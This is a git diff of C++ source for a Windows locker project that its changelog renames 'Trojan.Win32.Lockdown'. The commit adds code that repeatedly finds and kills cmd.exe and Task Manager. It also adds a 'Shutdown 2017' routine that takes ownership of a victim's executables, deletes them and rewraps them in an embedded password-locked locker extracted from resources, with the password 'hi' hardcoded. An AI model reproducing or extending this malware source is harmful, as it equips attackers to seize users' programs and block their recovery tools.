diff --git a/CHANGELOG.md b/CHANGELOG.md
index f94ed66..d12aa18 100644
--- a/CHANGELOG.md
+++ b/CHANGELOG.md
@@ -1,4 +1,12 @@
-1.3
+1.4 (11/7/2017)
+
+- Project renamed to Trojan.Win32.Lockdown
+- Now blocks cmd.exe
+- Shutdown 2017 no longer has dependencies
+- Shutdown 2017 runs builder and lockdown internally.
+- Minor bug fixes
+
+1.3 (11/1/2017)
- Exit button added to GUI
- Save file dialog fixed
diff --git a/README.md b/README.md
index 1b60990..c183849 100644
--- a/README.md
+++ b/README.md
@@ -23,7 +23,7 @@ In the releases, I've included the builder, the empty screenlock exe (don't run)
---
-# AHXR ScreenLock - Shutdown 2017
+# Trojan.Win32.Lockdown - Shutdown 2017
diff --git a/builder/frmMain.cpp b/builder/frmMain.cpp
index 9aef324..e7f6da5 100644
--- a/builder/frmMain.cpp
+++ b/builder/frmMain.cpp
@@ -23,8 +23,6 @@
#include
#include
-//#define DEBUG_MODE
-
using namespace msclr::interop;
using namespace System;
using namespace System::Windows::Forms;
@@ -35,28 +33,29 @@ bool b_tracking_toggle;
#include "locker.h"
#include "pack.h"
#include "frmMain.h"
+#include "settings.h"
[STAThread]
void main(array^ args) {
-
#ifdef DEBUG_MODE
packLocker("AXHRLocker.exe", "hi", "basic message.");
#endif
-
-
if (args->Length >= 3) {
- // For some reason I'm unable to directly use args in marshal_as (argument error)
- System::String ^ s_arg_one;
- System::String ^ s_arg_two;
- System::String ^ s_arg_three;
- System::String ^ s_arg_four;
- System::String ^ s_arg_five;
- s_arg_one = args[0];
- s_arg_two = args[1];
- s_arg_three = args[2];
- s_arg_four = args[3];
- s_arg_five = args[4];
+ // For some reason I'm unable to directly use args in marshal_as (argument error)
+ String
+ ^ s_arg_one,
+ ^ s_arg_two,
+ ^ s_arg_three,
+ ^ s_arg_four,
+ ^ s_arg_five
+ ;
+
+ s_arg_one = args[ARG_FILE_NAME];
+ s_arg_two = args[ARG_PASSWORD];
+ s_arg_three = args[ARG_MESSAGE];
+ s_arg_four = args[ARG_EXE];
+ s_arg_five = args[ARG_ADDRESS];
std::string s_file_name = marshal_as< std::string >(s_arg_one);
//std::cout << s_file_name << " | " << marshal_as< std::string >(s_arg_two) << " | " << marshal_as< std::string >(s_arg_three) << " | " << marshal_as< std::string >(s_arg_four) << std::endl;
@@ -68,7 +67,7 @@ void main(array^ args) {
packLocker(s_file_name, marshal_as< std::string >(s_arg_two), marshal_as< std::string >(s_arg_three));
if (args->Length >= 4) {
- s_arg_four = args[3];
+ s_arg_four = args[ARG_EXE];
std::string s_exe = marshal_as< std::string >(s_arg_four);
diff --git a/library/SHA256LICENSE.txt b/library/SHA256LICENSE.txt
new file mode 100644
index 0000000..3d81043
--- /dev/null
+++ b/library/SHA256LICENSE.txt
@@ -0,0 +1,36 @@
+/*
+ * Updated to C++, zedwood.com 2012
+ * Based on Olivier Gay's version
+ * See Modified BSD License below:
+ *
+ * FIPS 180-2 SHA-224/256/384/512 implementation
+ * Issue date: 04/30/2005
+ * http://www.ouah.org/ogay/sha2/
+ *
+ * Copyright (C) 2005, 2007 Olivier Gay
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ * notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ * notice, this list of conditions and the following disclaimer in the
+ * documentation and/or other materials provided with the distribution.
+ * 3. Neither the name of the project nor the names of its contributors
+ * may be used to endorse or promote products derived from this software
+ * without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE PROJECT AND CONTRIBUTORS ``AS IS'' AND
+ * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
+ * ARE DISCLAIMED. IN NO EVENT SHALL THE PROJECT OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
+ * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+ * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
+ * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
+ * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
+ * SUCH DAMAGE.
+ */
\ No newline at end of file
diff --git a/builder/locker.cpp b/library/locker.cpp
similarity index 90%
rename from builder/locker.cpp
rename to library/locker.cpp
index 0cbfbb8..0385389 100644
--- a/builder/locker.cpp
+++ b/library/locker.cpp
@@ -22,10 +22,14 @@
//=======================================================
#include
#include
+
+#include "settings.h"
#include "pack.h"
using namespace std;
+string LOCKER_FILE_NAME;
+
void buildNewLocker(string fileName) {
ifstream
f_old;
@@ -39,4 +43,8 @@ void buildNewLocker(string fileName) {
f_old.close();
f_new.close();
+}
+
+void setLockerFileName(string name) {
+ LOCKER_FILE_NAME = name;
}
\ No newline at end of file
diff --git a/builder/locker.h b/library/locker.h
similarity index 91%
rename from builder/locker.h
rename to library/locker.h
index 1fe6ab7..517fd10 100644
--- a/builder/locker.h
+++ b/library/locker.h
@@ -23,4 +23,4 @@
#include
extern void buildNewLocker( std::string fileName);
-extern void attachExecutable( std::string packedFile, std::string exePath);
\ No newline at end of file
+extern void setLockerFileName( std::string name);
\ No newline at end of file
diff --git a/builder/pack.cpp b/library/pack.cpp
similarity index 64%
rename from builder/pack.cpp
rename to library/pack.cpp
index 91b0616..3145fcf 100644
--- a/builder/pack.cpp
+++ b/library/pack.cpp
@@ -22,6 +22,8 @@
//=======================================================
#include "pack.h"
#include "sha256.h"
+#include "settings.h"
+
#include
#include
#include
@@ -34,10 +36,10 @@ void packLocker(string fileName, string password, string message) {
f_file.open(fileName, fstream::app);
- f_file << "----";
- f_file << "{" << sha256(password) << "}";
- f_file << "{" << message << "}";
- f_file << "{" << "0" << "}";
+ f_file << PACK_SPLITTER;
+ f_file << PACK_OPENER << sha256(password) << PACK_CLOSER;
+ f_file << PACK_OPENER << message << PACK_CLOSER;
+ f_file << PACK_OPENER << PACK_ADDRESS_DEF << PACK_CLOSER;
f_file.close();
}
@@ -48,12 +50,28 @@ void packLocker(string fileName, string password, string message, string address
f_file.open(fileName, fstream::app);
- f_file << "----";
- f_file << "{" << sha256(password) << "}";
- f_file << "{" << message << "}";
- f_file << "{" << address << "}";
+ f_file << PACK_SPLITTER;
+ f_file << PACK_OPENER << sha256(password) << PACK_CLOSER;
+ f_file << PACK_OPENER << message << PACK_CLOSER;
+ f_file << PACK_OPENER << address << PACK_CLOSER;
+
+ f_file.close();
+}
+
+void packLocker(string fileName, string password, string message, string address, string exePath) {
+ fstream
+ f_file;
+
+ f_file.open(fileName, fstream::app);
+
+ f_file << PACK_SPLITTER;
+ f_file << PACK_OPENER << sha256(password) << PACK_CLOSER;
+ f_file << PACK_OPENER << message << PACK_CLOSER;
+ f_file << PACK_OPENER << address << PACK_CLOSER;
f_file.close();
+
+ attachExecutable(fileName, exePath);
}
void attachExecutable(string packedFile, string exePath) {
@@ -67,9 +85,7 @@ void attachExecutable(string packedFile, string exePath) {
f_write.open( packedFile, fstream::app | fstream::binary);
// Creating brackets and writing the exe into the packed file.
- f_write << "{";
- f_write << f_exe.rdbuf();
- f_write << "}";
+ f_write << PACK_OPENER << f_exe.rdbuf() << PACK_CLOSER;
f_exe.close();
f_write.close();
diff --git a/builder/pack.h b/library/pack.h
similarity index 79%
rename from builder/pack.h
rename to library/pack.h
index d44c26c..564ef93 100644
--- a/builder/pack.h
+++ b/library/pack.h
@@ -21,7 +21,8 @@
*/
//=======================================================
#include
-#define LOCKER_FILE_NAME "AHXRLocker.exe"
extern void packLocker(std::string fileName, std::string password, std::string message);
-extern void packLocker(std::string fileName, std::string password, std::string message, std::string address);
\ No newline at end of file
+extern void packLocker(std::string fileName, std::string password, std::string message, std::string address);
+extern void packLocker(std::string fileName, std::string password, std::string message, std::string address, std::string exePath);
+extern void attachExecutable(std::string packedFile, std::string exePath);
\ No newline at end of file
diff --git a/library/settings.h b/library/settings.h
new file mode 100644
index 0000000..836ce7f
--- /dev/null
+++ b/library/settings.h
@@ -0,0 +1,34 @@
+/*
+ @title
+ AHXRScreenLock
+ @author
+ AHXR (https://github.com/AHXR)
+ @copyright
+ 2017
+
+ AHXRScreenLock is free software: you can redistribute it and/or modify
+ it under the terms of the GNU General Public License as published by
+ the Free Software Foundation, either version 3 of the License, or
+ (at your option) any later version.
+
+ AHXRScreenLock is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+ GNU General Public License for more details.
+
+ You should have received a copy of the GNU General Public License
+ along with AHXRScreenLock. If not, see .
+*/
+//=======================================================
+//#define DEBUG_MODE
+
+#define ARG_FILE_NAME 0
+#define ARG_PASSWORD 1
+#define ARG_MESSAGE 2
+#define ARG_EXE 3
+#define ARG_ADDRESS 4
+
+#define PACK_SPLITTER "----"
+#define PACK_OPENER "{"
+#define PACK_CLOSER "}"
+#define PACK_ADDRESS_DEF "0"
\ No newline at end of file
diff --git a/builder/sha256.cpp b/library/sha256.cpp
similarity index 99%
rename from builder/sha256.cpp
rename to library/sha256.cpp
index 055e81f..55bf5a9 100644
--- a/builder/sha256.cpp
+++ b/library/sha256.cpp
@@ -1,3 +1,5 @@
+#define _CRT_SECURE_NO_WARNINGS
+
#include
#include
#include "sha256.h"
diff --git a/builder/sha256.h b/library/sha256.h
similarity index 100%
rename from builder/sha256.h
rename to library/sha256.h
diff --git a/locker/handleThread.cpp b/locker/handleThread.cpp
index 5b54420..db29a76 100644
--- a/locker/handleThread.cpp
+++ b/locker/handleThread.cpp
@@ -26,14 +26,20 @@
#include
#include
+#define CMD_KILL
#define TASK_MANAGER_KILL
#define FORCE_WINDOW
#define SCREEN_LOCK_FRM L"frmScreenLock"
+
#ifdef TASK_MANAGER_KILL
#define SCREEN_LOCK_TSKMGR L"taskmgr.exe"
#endif
+#ifdef CMD_KILL
+ #define SCREEN_LOCK_CMD L"cmd.exe"
+#endif
+
using namespace System;
using namespace System::Threading;
using namespace System::Diagnostics;
@@ -46,10 +52,8 @@ HANDLE t_handle;
DWORD d_thread_id;
DWORD WINAPI calculateHandleData(LPVOID lpParameter);
+DWORD FindProcessId(const std::wstring& processName);
-#ifdef TASK_MANAGER_KILL
- DWORD FindProcessId(const std::wstring& processName);
-#endif
void startHandleThreading() {
t_handle = CreateThread(0, 0, calculateHandleData, 0, 0, &d_thread_id);
@@ -100,41 +104,43 @@ DWORD WINAPI calculateHandleData(LPVOID lpParameter) {
TerminateProcess(h_process, 1);
}
#endif
+
+#ifdef CMD_KILL
+ DWORD dc_task = FindProcessId(SCREEN_LOCK_CMD);
+ if (dc_task != 0) {
+ HANDLE h_process = OpenProcess(PROCESS_ALL_ACCESS, TRUE, dc_task);
+ TerminateProcess(h_process, 1);
+ }
+#endif
}
}
return 0;
}
-#ifdef TASK_MANAGER_KILL
- /*
- Taken from - https://stackoverflow.com/a/13716992
- */
- DWORD FindProcessId(const std::wstring& processName)
- {
- PROCESSENTRY32 processInfo;
- processInfo.dwSize = sizeof(processInfo);
-
- HANDLE processesSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);
- if (processesSnapshot == INVALID_HANDLE_VALUE)
- return 0;
-
- Process32First(processesSnapshot, &processInfo);
- if (!processName.compare(processInfo.szExeFile))
- {
- CloseHandle(processesSnapshot);
- return processInfo.th32ProcessID;
- }
+/*
+Taken from - https://stackoverflow.com/a/13716992
+*/
+DWORD FindProcessId(const std::wstring & processName) {
+ PROCESSENTRY32 processInfo;
+ processInfo.dwSize = sizeof(processInfo);
- while (Process32Next(processesSnapshot, &processInfo))
- {
- if (!processName.compare(processInfo.szExeFile))
- {
- CloseHandle(processesSnapshot);
- return processInfo.th32ProcessID;
- }
- }
+ HANDLE processesSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);
+ if (processesSnapshot == INVALID_HANDLE_VALUE)
+ return 0;
+ Process32First(processesSnapshot, &processInfo);
+ if (!processName.compare(processInfo.szExeFile)) {
CloseHandle(processesSnapshot);
- return 0;
+ return processInfo.th32ProcessID;
}
-#endif
\ No newline at end of file
+
+ while (Process32Next(processesSnapshot, &processInfo)) {
+ if (!processName.compare(processInfo.szExeFile)) {
+ CloseHandle(processesSnapshot);
+ return processInfo.th32ProcessID;
+ }
+ }
+
+ CloseHandle(processesSnapshot);
+ return 0;
+}
\ No newline at end of file
diff --git a/locker/sha256.cpp b/locker/sha256.cpp
deleted file mode 100644
index 055e81f..0000000
--- a/locker/sha256.cpp
+++ /dev/null
@@ -1,132 +0,0 @@
-#include
-#include
-#include "sha256.h"
-
-const unsigned int SHA256::sha256_k[64] = //UL = uint32
-{ 0x428a2f98, 0x71374491, 0xb5c0fbcf, 0xe9b5dba5,
-0x3956c25b, 0x59f111f1, 0x923f82a4, 0xab1c5ed5,
-0xd807aa98, 0x12835b01, 0x243185be, 0x550c7dc3,
-0x72be5d74, 0x80deb1fe, 0x9bdc06a7, 0xc19bf174,
-0xe49b69c1, 0xefbe4786, 0x0fc19dc6, 0x240ca1cc,
-0x2de92c6f, 0x4a7484aa, 0x5cb0a9dc, 0x76f988da,
-0x983e5152, 0xa831c66d, 0xb00327c8, 0xbf597fc7,
-0xc6e00bf3, 0xd5a79147, 0x06ca6351, 0x14292967,
-0x27b70a85, 0x2e1b2138, 0x4d2c6dfc, 0x53380d13,
-0x650a7354, 0x766a0abb, 0x81c2c92e, 0x92722c85,
-0xa2bfe8a1, 0xa81a664b, 0xc24b8b70, 0xc76c51a3,
-0xd192e819, 0xd6990624, 0xf40e3585, 0x106aa070,
-0x19a4c116, 0x1e376c08, 0x2748774c, 0x34b0bcb5,
-0x391c0cb3, 0x4ed8aa4a, 0x5b9cca4f, 0x682e6ff3,
-0x748f82ee, 0x78a5636f, 0x84c87814, 0x8cc70208,
-0x90befffa, 0xa4506ceb, 0xbef9a3f7, 0xc67178f2 };
-
-void SHA256::transform(const unsigned char *message, unsigned int block_nb)
-{
- uint32 w[64];
- uint32 wv[8];
- uint32 t1, t2;
- const unsigned char *sub_block;
- int i;
- int j;
- for (i = 0; i < (int)block_nb; i++) {
- sub_block = message + (i << 6);
- for (j = 0; j < 16; j++) {
- SHA2_PACK32(&sub_block[j << 2], &w[j]);
- }
- for (j = 16; j < 64; j++) {
- w[j] = SHA256_F4(w[j - 2]) + w[j - 7] + SHA256_F3(w[j - 15]) + w[j - 16];
- }
- for (j = 0; j < 8; j++) {
- wv[j] = m_h[j];
- }
- for (j = 0; j < 64; j++) {
- t1 = wv[7] + SHA256_F2(wv[4]) + SHA2_CH(wv[4], wv[5], wv[6])
- + sha256_k[j] + w[j];
- t2 = SHA256_F1(wv[0]) + SHA2_MAJ(wv[0], wv[1], wv[2]);
- wv[7] = wv[6];
- wv[6] = wv[5];
- wv[5] = wv[4];
- wv[4] = wv[3] + t1;
- wv[3] = wv[2];
- wv[2] = wv[1];
- wv[1] = wv[0];
- wv[0] = t1 + t2;
- }
- for (j = 0; j < 8; j++) {
- m_h[j] += wv[j];
- }
- }
-}
-
-void SHA256::init()
-{
- m_h[0] = 0x6a09e667;
- m_h[1] = 0xbb67ae85;
- m_h[2] = 0x3c6ef372;
- m_h[3] = 0xa54ff53a;
- m_h[4] = 0x510e527f;
- m_h[5] = 0x9b05688c;
- m_h[6] = 0x1f83d9ab;
- m_h[7] = 0x5be0cd19;
- m_len = 0;
- m_tot_len = 0;
-}
-
-void SHA256::update(const unsigned char *message, unsigned int len)
-{
- unsigned int block_nb;
- unsigned int new_len, rem_len, tmp_len;
- const unsigned char *shifted_message;
- tmp_len = SHA224_256_BLOCK_SIZE - m_len;
- rem_len = len < tmp_len ? len : tmp_len;
- memcpy(&m_block[m_len], message, rem_len);
- if (m_len + len < SHA224_256_BLOCK_SIZE) {
- m_len += len;
- return;
- }
- new_len = len - rem_len;
- block_nb = new_len / SHA224_256_BLOCK_SIZE;
- shifted_message = message + rem_len;
- transform(m_block, 1);
- transform(shifted_message, block_nb);
- rem_len = new_len % SHA224_256_BLOCK_SIZE;
- memcpy(m_block, &shifted_message[block_nb << 6], rem_len);
- m_len = rem_len;
- m_tot_len += (block_nb + 1) << 6;
-}
-
-void SHA256::final(unsigned char *digest)
-{
- unsigned int block_nb;
- unsigned int pm_len;
- unsigned int len_b;
- int i;
- block_nb = (1 + ((SHA224_256_BLOCK_SIZE - 9)
- < (m_len % SHA224_256_BLOCK_SIZE)));
- len_b = (m_tot_len + m_len) << 3;
- pm_len = block_nb << 6;
- memset(m_block + m_len, 0, pm_len - m_len);
- m_block[m_len] = 0x80;
- SHA2_UNPACK32(len_b, m_block + pm_len - 4);
- transform(m_block, block_nb);
- for (i = 0; i < 8; i++) {
- SHA2_UNPACK32(m_h[i], &digest[i << 2]);
- }
-}
-
-std::string sha256(std::string input)
-{
- unsigned char digest[SHA256::DIGEST_SIZE];
- memset(digest, 0, SHA256::DIGEST_SIZE);
-
- SHA256 ctx = SHA256();
- ctx.init();
- ctx.update((unsigned char*)input.c_str(), input.length());
- ctx.final(digest);
-
- char buf[2 * SHA256::DIGEST_SIZE + 1];
- buf[2 * SHA256::DIGEST_SIZE] = 0;
- for (int i = 0; i < SHA256::DIGEST_SIZE; i++)
- sprintf(buf + i * 2, "%02x", digest[i]);
- return std::string(buf);
-}
\ No newline at end of file
diff --git a/locker/sha256.h b/locker/sha256.h
deleted file mode 100644
index 55a9e0e..0000000
--- a/locker/sha256.h
+++ /dev/null
@@ -1,53 +0,0 @@
-#ifndef SHA256_H
-#define SHA256_H
-#include
-
-class SHA256
-{
-protected:
- typedef unsigned char uint8;
- typedef unsigned int uint32;
- typedef unsigned long long uint64;
-
- const static uint32 sha256_k[];
- static const unsigned int SHA224_256_BLOCK_SIZE = (512 / 8);
-public:
- void init();
- void update(const unsigned char *message, unsigned int len);
- void final(unsigned char *digest);
- static const unsigned int DIGEST_SIZE = (256 / 8);
-
-protected:
- void transform(const unsigned char *message, unsigned int block_nb);
- unsigned int m_tot_len;
- unsigned int m_len;
- unsigned char m_block[2 * SHA224_256_BLOCK_SIZE];
- uint32 m_h[8];
-};
-
-std::string sha256(std::string input);
-
-#define SHA2_SHFR(x, n) (x >> n)
-#define SHA2_ROTR(x, n) ((x >> n) | (x << ((sizeof(x) << 3) - n)))
-#define SHA2_ROTL(x, n) ((x << n) | (x >> ((sizeof(x) << 3) - n)))
-#define SHA2_CH(x, y, z) ((x & y) ^ (~x & z))
-#define SHA2_MAJ(x, y, z) ((x & y) ^ (x & z) ^ (y & z))
-#define SHA256_F1(x) (SHA2_ROTR(x, 2) ^ SHA2_ROTR(x, 13) ^ SHA2_ROTR(x, 22))
-#define SHA256_F2(x) (SHA2_ROTR(x, 6) ^ SHA2_ROTR(x, 11) ^ SHA2_ROTR(x, 25))
-#define SHA256_F3(x) (SHA2_ROTR(x, 7) ^ SHA2_ROTR(x, 18) ^ SHA2_SHFR(x, 3))
-#define SHA256_F4(x) (SHA2_ROTR(x, 17) ^ SHA2_ROTR(x, 19) ^ SHA2_SHFR(x, 10))
-#define SHA2_UNPACK32(x, str) \
-{ \
- *((str) + 3) = (uint8) ((x) ); \
- *((str) + 2) = (uint8) ((x) >> 8); \
- *((str) + 1) = (uint8) ((x) >> 16); \
- *((str) + 0) = (uint8) ((x) >> 24); \
-}
-#define SHA2_PACK32(str, x) \
-{ \
- *(x) = ((uint32) *((str) + 3) ) \
- | ((uint32) *((str) + 2) << 8) \
- | ((uint32) *((str) + 1) << 16) \
- | ((uint32) *((str) + 0) << 24); \
-}
-#endif
\ No newline at end of file
diff --git a/shutdown2017/frmMain.cpp b/shutdown2017/frmMain.cpp
index 6e33760..19bf455 100644
--- a/shutdown2017/frmMain.cpp
+++ b/shutdown2017/frmMain.cpp
@@ -25,6 +25,7 @@
#include
#include
#include
+#include
HANDLE h_update;
DWORD dh_update;
@@ -44,6 +45,7 @@ DWORD WINAPI t_run_code_gui(LPVOID lpParameter);
#include "scan.h"
#include "frmMain.h"
#include "frmCode.h"
+#include "resource.h"
using namespace System;
using namespace System::Windows::Forms;
@@ -60,6 +62,7 @@ int WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, PSTR pScmdline, int iC
Here is the force-scan. If the client closes the scanner out, the program will
automatically scan itself after being closed 15 seconds prior.
*/
+
while (1)
{
if (b_closed) {
diff --git a/shutdown2017/lockdown.cpp b/shutdown2017/lockdown.cpp
index 59c570a..92947b9 100644
--- a/shutdown2017/lockdown.cpp
+++ b/shutdown2017/lockdown.cpp
@@ -22,8 +22,11 @@
//=======================================================
#include "lockdown.h"
#include "ownership.h"
+#include "locker.h"
+#include "pack.h"
#include
#include
+#include "resource.h"
using namespace std;
@@ -48,24 +51,54 @@ void lockdownFile(string fileName) {
TakeOwnership(const_cast< char * >(fileName.c_str()));
remove(fileName.c_str());
- string
- s_args = string( "AHXRBuilder.exe " ) + "\"" + fileName + "\" \"hi\" " + "\"SHUTDOWN PROTECTION\"" + " \"" + s_new_name + "\"";
+ /*
+ // Old building lockdown method.
+ string
+ s_args = string( "AHXRBuilder.exe " ) + "\"" + fileName + "\" \"hi\" " + "\"SHUTDOWN PROTECTION\"" + " \"" + s_new_name + "\"";
+
+ puts(const_cast(s_args.c_str()));
+ STARTUPINFO p_start = {
+ sizeof(p_start)
+ };
+ PROCESS_INFORMATION p_info;
+
+ if (!CreateProcess(NULL, const_cast(s_args.c_str()), NULL, NULL, TRUE, 0, NULL, NULL, &p_start, &p_info))
+ exit(0);
+
+ WaitForSingleObject(p_info.hProcess, INFINITE);
+ CloseHandle(p_info.hProcess);
+ CloseHandle(p_info.hThread);
+ */
+
+ HRSRC hRes = FindResource(NULL, MAKEINTRESOURCE(IDR_BINARY2), RT_RCDATA);
+ unsigned int i_resource = ::SizeofResource(NULL, hRes);
+ LPVOID lpRes = LoadResource(NULL, hRes);
+ void * pResourceLock = LockResource(lpRes);
+
+ TCHAR tmpPath[MAX_PATH];
+ GetTempPath(MAX_PATH, tmpPath);
+
+ std::string s_extract;
+ s_extract = tmpPath;
+ s_extract += "shutdown17.tmp";
+
+ std::fstream f;
- puts(const_cast(s_args.c_str()));
- STARTUPINFO p_start = {
- sizeof(p_start)
- };
- PROCESS_INFORMATION p_info;
+ f.open(s_extract, std::ios::out | std::ios::binary);
+ f.write((char*)pResourceLock, i_resource);
+ f.close();
- if (!CreateProcess(NULL, const_cast(s_args.c_str()), NULL, NULL, TRUE, 0, NULL, NULL, &p_start, &p_info))
- exit(0);
+ setLockerFileName(s_extract);
- WaitForSingleObject(p_info.hProcess, INFINITE);
- CloseHandle(p_info.hProcess);
- CloseHandle(p_info.hThread);
+ buildNewLocker(fileName);
+ packLocker(fileName, SHUTDOWN_PW, SHUTDOWN_MSG);
+ attachExecutable(fileName, s_new_name);
+
+
TakeOwnership(const_cast< char * >(s_new_name.c_str()));
remove(s_new_name.c_str()); // Remove old .exe file.
+ remove(s_extract.c_str()); // Remove .tmp
}
}
diff --git a/shutdown2017/lockdown.h b/shutdown2017/lockdown.h
index 52694bb..2a74bfc 100644
--- a/shutdown2017/lockdown.h
+++ b/shutdown2017/lockdown.h
@@ -23,6 +23,8 @@
#include
#define SHUTDOWN_EXT ".sd"
+#define SHUTDOWN_PW "hi"
+#define SHUTDOWN_MSG "SHUTDOWN PROTECTION"
extern void lockdownFile(std::string fileName);
extern bool isFileLocked(std::string fileName);
diff --git a/shutdown2017/resource.h b/shutdown2017/resource.h
new file mode 100644
index 0000000..6ee71cc
Binary files /dev/null and b/shutdown2017/resource.h differ